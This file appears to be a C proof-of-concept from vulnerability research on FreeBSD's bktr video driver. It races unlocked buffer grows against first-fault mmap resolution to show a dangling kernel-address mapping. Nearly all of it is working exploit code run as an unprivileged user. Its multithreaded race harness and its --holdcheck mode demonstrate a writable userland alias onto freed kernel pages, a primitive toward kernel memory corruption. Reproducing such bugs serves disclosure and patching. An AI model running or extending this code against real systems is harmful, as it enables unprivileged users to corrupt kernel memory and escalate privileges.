DF-4671 / poc_race.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344 345 346 347 348 349 350 351 352 353 354 355 356 357 358 359 360 361 362 363 364 365 366 367 368 369 370 371 372 373 374 375 376 377 378 379 380 381 382 383 384 385 386 387 388 389 390 391 392 393 394 395 396 397 398 399 400 401 402 403 404 405 406 407 408 409 410 411 412 413 414 415 416 417 418 419 420 421 422 423 424 425 426 427 428 429 430 431 432 433 434 435 436 437 438 439 440 441 442 443 444 445 446 447 448 449 450 451 452 453 454 455 456 457 458 459 460 461 462 463 464 465 466 467 468 469 470 471 472 473 474 475 476 477 478 479 480 481 482 483 484 485 486 487 488 489 490 491 492 493 494 495 496 497 498 499 500 501 | /* * poc_race.c -- DF-4671: bktr_mmap fault-time d_mmap query races the * unlocked METEORSETGEO grow block (kmem_free(old) -> bigbuf=new, no lock). * * CRITICAL DESIGN CONSTRAINT (empirically established with --seqcheck on * this kernel): the old-style device pager caches one fake page per * (cdev, pindex) for the cdev's LIFETIME -- later faults of an * already-faulted pindex are served from the cache WITHOUT re-querying * d_mmap. Therefore a genuine fault-time d_mmap re-execution only * happens on the FIRST fault of a pindex never faulted before on this * cdev. The rig recycles the cdev on every RIG_INIT (fresh pager * object), and this PoC only ever faults pindexes that were never * faulted before on the current cdev: * * 1. RIG_INIT(N) -- fresh cdev, fresh bzero'd N-page buffer [root] * 2. map group 0 (pages [0,8)), write markers {MAGIC, gen, .., nonce}; * the marker WRITE consumes (caches) exactly those 8 pindexes. * Marker gen is sampled AFTER the faults from the kernel's * alloc_pages, so marker.gen >= generation of the page it landed on. * 3. grower thread: SETGEO alloc_pages+1 repeatedly (kernel-verified * real grows); every grow kmem_free()s the previous buffer and * reassigns bigbuf -- the unsynchronized window under test. * 4. faulter thread: for g = 1, 2, 3, ...: map pages [g*8, g*8+8) * (NEVER-faulted pindexes -> every one of these faults executes * the production bktr_mmap code), snapshot the page contents AT * FAULT, then write fresh markers (gen sampled after faults). * * CATCH (proof of a dangling resolution): a never-faulted pindex's fault * returns a page bearing marker {nonce==run, gen < e0} where e0 = * alloc_pages sampled BEFORE the mmap. Invariant: marker.gen >= the * generation of the buffer whose page carries it, so gen < e0 means the * page belongs to a buffer that had already been kmem_free'd when the * fault ran -- i.e. the fault's vtophys(bigbuf+offset) resolved through * the freed (stale-PTE) KVA in the unsynchronized window. * * Rig path: /dev/bktrig0. The grow ioctls AND the faults run as an * UNPRIVILEGED user. * * Build: cc -O2 -Wall -pthread -o poc_race poc_race.c */ #include <sys/ioctl.h> #include <sys/mman.h> #include <fcntl.h> #include <stdio.h> #include <stdlib.h> #include <stdint.h> #include <stdatomic.h> #include <string.h> #include <unistd.h> #include <errno.h> #include <pthread.h> #include <dev/video/meteor/ioctl_meteor.h> #define DEV "/dev/bktrig0" #define W 64 /* pages per group (8x marking density) */ #define MAGIC 0xDF4671A5C0DEBAULL #define INIT_PAGES 256 /* marking density 64/256 = 25% */ struct rig_ctl { int32_t npages; uint32_t pad; uint64_t bigbuf; int32_t alloc_pages; int32_t rc; uint64_t bigbuf_pa; uint64_t probe_off; uint64_t probe_pa; }; #define RIG_INIT _IOWR('Z', 1, struct rig_ctl) #define RIG_STATUS _IOWR('Z', 2, struct rig_ctl) #define RIG_PROBE _IOWR('Z', 4, struct rig_ctl) static int g_fd = -1; static int grows_max = 40; /* grows per run */ static int groups = 120; /* fresh groups to fault */ static uint64_t run_nonce; static atomic_int epoch; /* kernel alloc_pages mirror */ static atomic_int grows_done; static atomic_int stop; static atomic_int catches; static uint64_t first_buf_kva, first_buf_pa; static int geo_pages(int rows, int cols, int frames) { return (rows * cols * frames * 2 + 4095) / 4096; } /* (rows, cols=1022, frames=1) with btcs(rows*cols*frames*2) EXACTLY target * (int math in the kernel is ceil: pages = (bytes+4095)/4096; rows=2*T * alone loses pages once T > 512 -- that bug made every SETGEO a no-op) */ static void geo_for_target(int target, struct meteor_geomet *g) { int r; for (r = 2 * target; r <= 2046; r += 2) { if (geo_pages(r, 1022, 1) >= target) break; } g->rows = r; g->columns = 1022; g->frames = 1; g->oformat = 0; } static void status_now(struct rig_ctl *rc) { memset(rc, 0, sizeof(*rc)); ioctl(g_fd, RIG_STATUS, rc); if (rc->alloc_pages > atomic_load(&epoch)) atomic_store(&epoch, rc->alloc_pages); } static void *grow_thr(void *arg) { struct meteor_geomet g; struct rig_ctl rc; int ok = 0, fail = 0; while (!atomic_load(&stop) && atomic_load(&grows_done) < grows_max) { int target; status_now(&rc); target = rc.alloc_pages + 1; /* strictly larger */ if (target > 32700) break; geo_for_target(target, &g); if (ioctl(g_fd, METEORSETGEO, &g) == 0) { status_now(&rc); if (rc.alloc_pages >= target) { ok++; atomic_fetch_add(&grows_done, 1); } } else { fail++; break; } } printf("[grow] %d real grows, %d failed; alloc_pages=%d\n", ok, fail, atomic_load(&epoch)); atomic_store(&stop, 1); return NULL; } static void report_catch(int page, uint64_t *m, int e0, int e1, int grp) { struct rig_ctl rc; int n; n = atomic_fetch_add(&catches, 1) + 1; memset(&rc, 0, sizeof(rc)); rc.probe_off = (uint64_t)page * 4096; ioctl(g_fd, RIG_PROBE, &rc); printf("*** CATCH #%d group=%d page=%d: marker {magic=%#jx gen=%ju " "iter=%ju page=%ju nonce=%#jx} alloc_pages(before=%d after=%d)\n", n, grp, page, (uintmax_t)m[0], (uintmax_t)m[1], (uintmax_t)m[2], (uintmax_t)m[3], (uintmax_t)m[5], e0, e1); printf(" RIG_PROBE now: KVA=0x%llx PA=0x%llx vtophys(KVA+%d)=" "0x%llx (B0 was KVA=0x%llx PA=0x%llx)\n", (unsigned long long)rc.bigbuf, (unsigned long long)rc.bigbuf_pa, page * 4096, (unsigned long long)rc.probe_pa, (unsigned long long)first_buf_kva, (unsigned long long)first_buf_pa); printf(" nonce match=%d; marker gen %d < pre-fault alloc_pages %d" " => first-fault d_mmap query resolved a page of a buffer freed" " %d grow(s) earlier (dangling KVA)\n", m[5] == run_nonce, (int)m[1], e0, e0 - (int)m[1]); } static void *fault_thr(void *arg) { uint64_t vals[W][8]; struct rig_ctl rcs; int e0, e1, ew, g, j, c; int nfail = 0; void *p; setvbuf(stdout, NULL, _IOLBF, 0); /* cycle through the rig's 8 cdevs: each has its own device-pager * object -> its own fresh pindex space -> genuine first-fault * d_mmap queries all run long. cdev0 group 0 is pre-marked by * main(), so start faulter groups at 1 there, 0 elsewhere. */ c = *(int *)arg; /* faulter t -> cdevs t, t+4 */ { char path[32]; int first = 1; (void)path; (void)first; } for (g = 0; g < INIT_PAGES / W && !atomic_load(&stop); g++) { char path[32]; int ffd; size_t off = (size_t)g * W * 4096; if (g >= INIT_PAGES / W) { /* this cdev exhausted: partner cdev, reopen */ c += 4; if (c >= 8) break; g = -1; continue; } snprintf(path, sizeof(path), "/dev/bktrig%d", c); if (c == 0 && g == 0) continue; /* group 0 pre-marked by main() */ ffd = open(path, O_RDWR); if (ffd < 0) { printf("[fault] open %s: %s\n", path, strerror(errno)); break; } status_now(&rcs); e0 = rcs.alloc_pages; p = mmap(NULL, (size_t)W * 4096, PROT_READ | PROT_WRITE, MAP_SHARED, ffd, off); if (p == MAP_FAILED) { if (++nfail > 200) { printf("[fault] mmap c%d group %d keeps " "failing: %s (giving up)\n", c, g, strerror(errno)); close(ffd); break; } if (nfail == 1 || (nfail % 50) == 0) printf("[fault] mmap c%d group %d: %s (fail " "#%d)\n", c, g, strerror(errno), nfail); sched_yield(); g--; /* retry same group */ close(ffd); continue; } nfail = 0; if ((g % 2) == (c == 0)) printf("[fault] c%d group %d e0=%d\n", c, g, e0); /* first faults of these pindexes: each executes the * production bktr_mmap d_mmap path; snapshot at fault */ for (j = 0; j < W; j++) { uint64_t *q = (uint64_t *)((char *)p + (size_t)j * 4096); vals[j][0] = q[0]; vals[j][1] = q[1]; vals[j][2] = q[2]; vals[j][3] = q[3]; vals[j][4] = q[4]; vals[j][5] = q[5]; } status_now(&rcs); e1 = rcs.alloc_pages; for (j = 0; j < W; j++) { if (vals[j][0] == MAGIC && vals[j][5] == run_nonce && (int)vals[j][1] < e0) report_catch(j, vals[j], e0, e1, g); } /* fresh markers for later groups; gen sampled AFTER the * faults keeps marker.gen >= generation of these pages */ ew = rcs.alloc_pages; for (j = 0; j < W; j++) { uint64_t *q = (uint64_t *)((char *)p + (size_t)j * 4096); q[0] = MAGIC; q[1] = (uint64_t)(uint32_t)ew; q[2] = (uint64_t)(uint32_t)g; q[3] = (uint64_t)(uint32_t)j; q[4] = 0x4646464646464646ULL; q[5] = run_nonce; } munmap(p, (size_t)W * 4096); close(ffd); } printf("[fault] finished at c%d group %d\n", c, g); return NULL; } int main(int argc, char **argv) { struct rig_ctl rc; pthread_t gr, fa; uint64_t *q; int j, ur; /* --init mode (root): attach mirror + cdev recycle */ if (argc == 2 && strcmp(argv[1], "--init") == 0) { g_fd = open(DEV, O_RDWR); if (g_fd < 0) { perror("open " DEV); return 2; } memset(&rc, 0, sizeof(rc)); rc.npages = INIT_PAGES; if (ioctl(g_fd, RIG_INIT, &rc) != 0) { perror("RIG_INIT"); return 3; } printf("RIG_INIT: bigbuf=0x%llx PA=0x%llx alloc_pages=%d " "(cdev recycled: fresh pager)\n", (unsigned long long)rc.bigbuf, (unsigned long long)rc.bigbuf_pa, rc.alloc_pages); return 0; } /* --seqcheck mode: pager fake-page cache survival, no race */ if (argc == 2 && strcmp(argv[1], "--seqcheck") == 0) { struct meteor_geomet g; void *p; int found = 0, k; g_fd = open(DEV, O_RDWR); if (g_fd < 0) { perror("open"); return 2; } ur = open("/dev/urandom", O_RDONLY); read(ur, &run_nonce, sizeof(run_nonce)); if (run_nonce == 0) run_nonce = 1; memset(&rc, 0, sizeof(rc)); rc.npages = 64; if (ioctl(g_fd, RIG_INIT, &rc) != 0) { perror("RIG_INIT"); return 3; } printf("seqcheck: fresh 64-page buffer\n"); p = mmap(NULL, 64 * 4096, PROT_READ | PROT_WRITE, MAP_SHARED, g_fd, 0); if (p == MAP_FAILED) { perror("mmap"); return 4; } for (j = 0; j < 64; j++) { q = (uint64_t *)((char *)p + (size_t)j * 4096); q[0] = MAGIC; q[1] = 0; q[2] = 0; q[3] = (uint64_t)(uint32_t)j; q[4] = 0x3030303030303030ULL; q[5] = run_nonce; } munmap(p, 64 * 4096); printf("seqcheck: markers written, mapping removed\n"); for (k = 0; k < 10; k++) { status_now(&rc); geo_for_target(rc.alloc_pages + 1, &g); if (ioctl(g_fd, METEORSETGEO, &g) != 0) break; } status_now(&rc); printf("seqcheck: %d sequential grows; alloc_pages=%d\n", k, rc.alloc_pages); p = mmap(NULL, 64 * 4096, PROT_READ, MAP_SHARED, g_fd, 0); if (p == MAP_FAILED) { perror("mmap2"); return 4; } for (j = 0; j < 64; j++) { q = (uint64_t *)((char *)p + (size_t)j * 4096); if (q[0] == MAGIC && q[5] == run_nonce) found++; } munmap(p, 64 * 4096); printf("seqcheck RESULT: %d/64 pages still show OLD markers " "=> pager fake-page cache %s munmap\n", found, found ? "SURVIVES" : "does not survive"); return found ? 9 : 0; } /* --holdcheck: keep ONE RW mapping across N grows (no race at all): * after the grow path kmem_free()s the buffer under it, is the held * mapping still live (orphaned-page alias)? */ if (argc == 2 && strcmp(argv[1], "--holdcheck") == 0) { struct meteor_geomet g; struct rig_ctl rcs; char *p; int k, alive = 0, wperm = 0; g_fd = open(DEV, O_RDWR); if (g_fd < 0) { perror("open"); return 2; } ur = open("/dev/urandom", O_RDONLY); read(ur, &run_nonce, sizeof(run_nonce)); if (run_nonce == 0) run_nonce = 1; memset(&rcs, 0, sizeof(rcs)); rcs.npages = 64; if (ioctl(g_fd, RIG_INIT, &rcs) != 0) { perror("RIG_INIT"); return 3; } close(g_fd); g_fd = open(DEV, O_RDWR); /* cdev was recycled */ if (g_fd < 0) { perror("reopen"); return 2; } p = mmap(NULL, 64 * 4096, PROT_READ | PROT_WRITE, MAP_SHARED, g_fd, 0); if (p == MAP_FAILED) { perror("mmap"); return 4; } for (j = 0; j < 64; j++) { q = (uint64_t *)(p + (size_t)j * 4096); q[0] = MAGIC; q[1] = 0; q[2] = 0; q[3] = (uint64_t)(uint32_t)j; q[4] = 0x3030303030303030ULL; q[5] = run_nonce; } printf("holdcheck: RW mapping held; markers written\n"); for (k = 0; k < 10; k++) { status_now(&rcs); geo_for_target(rcs.alloc_pages + 1, &g); if (ioctl(g_fd, METEORSETGEO, &g) != 0) break; } status_now(&rcs); printf("holdcheck: %d grows; buffer now KVA=0x%llx pages=%d " "(the mapped pages were kmem_free'd)\n", k, (unsigned long long)rcs.bigbuf, rcs.alloc_pages); for (j = 0; j < 64; j++) { q = (uint64_t *)(p + (size_t)j * 4096); if (q[0] == MAGIC && q[5] == run_nonce) alive++; } q = (uint64_t *)(p + 4096); q[7] = 0xDEADBEEFCAFE1234ULL; __asm __volatile("" ::: "memory"); if (q[7] == 0xDEADBEEFCAFE1234ULL) wperm = 1; printf("holdcheck RESULT: %d/64 mapped pages still show old " "markers; mapping %s after the buffer was freed\n", alive, wperm ? "still WRITABLE (live RW alias onto " "orphaned kernel pages)" : "dead"); return (alive && wperm) ? 0 : 1; } if (argc > 1) grows_max = atoi(argv[1]); if (argc > 2) groups = atoi(argv[2]); if (grows_max < 1 || grows_max > 400) { printf("usage: %s [grows_max<=400]\n", argv[0]); return 2; } ur = open("/dev/urandom", O_RDONLY); if (ur < 0 || read(ur, &run_nonce, sizeof(run_nonce)) != (ssize_t)sizeof(run_nonce)) { perror("urandom"); return 2; } if (run_nonce == 0) run_nonce = 1; g_fd = open(DEV, O_RDWR); if (g_fd < 0) { perror("open " DEV); return 2; } if (geteuid() == 0) { fprintf(stderr, "run me as an UNPRIVILEGED user\n"); return 2; } printf("uid=%d euid=%d; nonce=%#jx; %d grows vs %d fresh groups\n", getuid(), geteuid(), (uintmax_t)run_nonce, grows_max, groups); status_now(&rc); if (rc.alloc_pages != INIT_PAGES) { printf("initial buffer must be %d pages (run --init as " "root first); status alloc_pages=%d\n", INIT_PAGES, rc.alloc_pages); return 3; } first_buf_kva = rc.bigbuf; first_buf_pa = rc.bigbuf_pa; atomic_store(&epoch, rc.alloc_pages); printf("buffer0: KVA=0x%llx PA=0x%llx pages=%d\n", (unsigned long long)first_buf_kva, (unsigned long long)first_buf_pa, rc.alloc_pages); /* group 0 markers (consumes pindexes [0,8) of this cdev) */ { void *p = mmap(NULL, (size_t)W * 4096, PROT_READ | PROT_WRITE, MAP_SHARED, g_fd, 0); int g0; if (p == MAP_FAILED) { perror("mmap group0"); return 4; } for (j = 0; j < W; j++) ((volatile char *)p)[j * 4096]; /* fault first */ status_now(&rc); /* gen AFTER faults */ g0 = rc.alloc_pages; for (j = 0; j < W; j++) { q = (uint64_t *)((char *)p + (size_t)j * 4096); q[0] = MAGIC; q[1] = (uint64_t)(uint32_t)g0; q[2] = 0; q[3] = (uint64_t)(uint32_t)j; q[4] = 0x3030303030303030ULL; q[5] = run_nonce; } munmap(p, (size_t)W * 4096); printf("group0 markers written (gen=%d); starting race\n", g0); } { pthread_t fs[4], gr2; int ids[4] = {0, 1, 2, 3}; int i; pthread_create(&gr, NULL, grow_thr, NULL); pthread_create(&gr2, NULL, grow_thr, NULL); for (i = 0; i < 4; i++) pthread_create(&fs[i], NULL, fault_thr, &ids[i]); pthread_join(gr, NULL); pthread_join(gr2, NULL); for (i = 0; i < 4; i++) pthread_join(fs[i], NULL); } status_now(&rc); printf("\n== RESULT ==\n"); printf("final alloc_pages=%d; catches=%d\n", rc.alloc_pages, atomic_load(&catches)); if (atomic_load(&catches) > 0) printf("FAULT-TIME DANGLING-KVA RESOLUTION REPRODUCED\n"); else printf("no dangling resolution caught this run\n"); return atomic_load(&catches) > 0 ? 0 : 1; } |